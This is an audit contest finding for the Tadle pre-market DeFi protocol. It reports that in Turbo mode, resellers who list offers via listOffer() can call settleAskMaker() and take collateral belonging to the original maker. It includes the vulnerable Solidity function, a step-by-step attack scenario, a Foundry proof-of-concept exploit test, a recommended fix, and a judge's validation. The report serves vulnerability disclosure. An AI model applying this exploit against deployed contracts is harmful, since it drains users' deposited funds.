Tadle

Tadle
DeFiFoundry
27,750 USDC
View results
Submission Details
Severity: high
Valid

listOffer maker can settle offer via settleAskMaker() in Turbo settle type.

Summary

In turbo settle type, the maker is the only person who deposit some collaterals. So the maker should be the only person who can settle ask maker and get back the collateral. But now the listOffer's owner can trigger settleAskMaker() to settle and get back some collateral. This will lead that the maker cannot get back all collaterals.

Vulnerability Details

In Turbo settle type, the maker will add some collateral to create one ask offer. Traders can bid this offer to buy some points. And these takers can resell their points bought from the maker via listOffer() with 0 collateral because of the turbo mode.
When the market's status is changed to asksettle, the maker will settle this to get back the collateral via settleAskMaker(). All takers who still hold some points can get the point token via closeBidTaker().
The problem exists in settleAskMaker(). One resell offer(via listOffer())'s owner can still settle this offer to get some collateral via settleAskMaker() in turbo mode. And these collateral belongs to the maker, the original offer owner. This will lead the maker lose some collateral.

One possible attack vector:

  1. Alice creates one ask offer as the maker, deposit 10000 collateral token to sell 1000 points.

  2. Bob creates one taker to buy 500 points via Alice's offer.

  3. Bob resell his points via listOffer().

  4. Cathy create one taker to match the bob's offer.

  5. MarketPlace's status is changes to asksettle.

  6. Bob call settleAskMaker() to settle his offer to get some collaterals. Bob withdraws the collateral from the TokenManager.

  7. Alice calls settleAskMaker() to settle her offer to get back all collaterals. Although the account's balance is updated in userTokenBalanceMap. But maybe there is not enough collateral token in capitalPool to withdraw.

function settleAskMaker(address _offer, uint256 _settledPoints) external {
(
OfferInfo memory offerInfo,
MakerInfo memory makerInfo,
MarketPlaceInfo memory marketPlaceInfo,
MarketPlaceStatus status
) = getOfferInfo(_offer);
// The maker has already selled `usedPoints`.
if (_settledPoints > offerInfo.usedPoints) {
revert InvalidPoints();
}
// fixedratio does not support settle in this contract.
if (marketPlaceInfo.fixedratio) {
revert FixedRatioUnsupported();
}
//
if (offerInfo.offerType == OfferType.Bid) {
revert InvalidOfferType(OfferType.Ask, OfferType.Bid);
}
if (
offerInfo.offerStatus != OfferStatus.Virgin &&
offerInfo.offerStatus != OfferStatus.Canceled
) {
revert InvalidOfferStatus();
}
if (status == MarketPlaceStatus.AskSettling) {
if (_msgSender() != offerInfo.authority) {
revert Errors.Unauthorized();
}
} else {
if (_msgSender() != owner()) {
revert Errors.Unauthorized();
}
if (_settledPoints > 0) {
revert InvalidPoints();
}
}
// Calculate the token amount
uint256 settledPointTokenAmount = marketPlaceInfo.tokenPerPoint *
_settledPoints;
ITokenManager tokenManager = tadleFactory.getTokenManager();
if (settledPointTokenAmount > 0) {
tokenManager.tillIn(
_msgSender(),
marketPlaceInfo.tokenAddress,
settledPointTokenAmount,
true
);
}
uint256 makerRefundAmount;
// The maker can receive their collateral if they pay enough point token.
if (_settledPoints == offerInfo.usedPoints) {
if (offerInfo.offerStatus == OfferStatus.Virgin) {
makerRefundAmount = OfferLibraries.getDepositAmount(
offerInfo.offerType,
offerInfo.collateralRate,
offerInfo.amount,
true,
Math.Rounding.Floor
);
} else {
uint256 usedAmount = offerInfo.amount.mulDiv(
offerInfo.usedPoints,
offerInfo.points,
Math.Rounding.Floor
);
makerRefundAmount = OfferLibraries.getDepositAmount(
offerInfo.offerType,
offerInfo.collateralRate,
usedAmount,
true,
Math.Rounding.Floor
);
}
tokenManager.addTokenBalance(
// @audit-fp [L] improper balance type
TokenBalanceType.SalesRevenue,
_msgSender(),
makerInfo.tokenAddress,
makerRefundAmount
);
}
IPerMarkets perMarkets = tadleFactory.getPerMarkets();
perMarkets.settledAskOffer(
_offer,
_settledPoints,
settledPointTokenAmount
);
......
}

Poc

In below test case, user2 is not the maker, users buy points and resell points. When the markerplace's status is changed to the asksettle status, users can settle his offer to get back some collaterals.

function test_Poc_settle_ask_offer() public {
vm.startPrank(user);
preMarktes.createOffer(
CreateOfferParams(
marketPlace,
address(mockUSDCToken),
1000,
0.01 * 1e18,
12000,
300,
OfferType.Ask,
OfferSettleType.Turbo
)
);
vm.stopPrank();
vm.startPrank(user2);
address offerAddr = GenerateAddress.generateOfferAddress(0);
preMarktes.createTaker(offerAddr, 500);
address stock1Addr = GenerateAddress.generateStockAddress(1);
preMarktes.listOffer(stock1Addr, 0.006 * 1e18, 12000);
address offer1Addr = GenerateAddress.generateOfferAddress(1);
//preMarktes.closeOffer(stock1Addr, offer1Addr);
//preMarktes.relistOffer(stock1Addr, offer1Addr);
vm.stopPrank();
vm.startPrank(user1);
preMarktes.createTaker(offer1Addr, 500);
systemConfig.updateMarket(
"Backpack",
address(mockPointToken),
0.01 * 1e18,
block.timestamp - 1,
3600
);
vm.stopPrank();
vm.startPrank(user2);
mockPointToken.approve(address(tokenManager), 10000 * 10 ** 18);
deliveryPlace.settleAskMaker(offer1Addr, 500);
vm.stopPrank();
vm.startPrank(user);
mockPointToken.approve(address(tokenManager), 10000 * 10 ** 18);
deliveryPlace.settleAskMaker(offerAddr, 500);
vm.stopPrank();
}

Impact

Maker's collateral will be withdrawn by others. Makers may have to take the loss.

Tools Used

Manual

Recommendations

In turbo mode, only the maker or the original offer's owner can trigger settleAskMaker()

Updates

Lead Judging Commences

0xnevi Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

finding-Premarkets-listOffer-turbo-settleAskMaker-exploit-settlement

Valid high severity, this allows resellers listing offers via `listOffer/relistOffer` to game the system. Based on the inherent design of Turbo mode not requiring takers making ask offers for the original maker offer to deposit collateral, the wrong refund of collateral to takers even when they did not deposit collateral due to turbo mode during settleAskMaker allows possible draining of pools.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!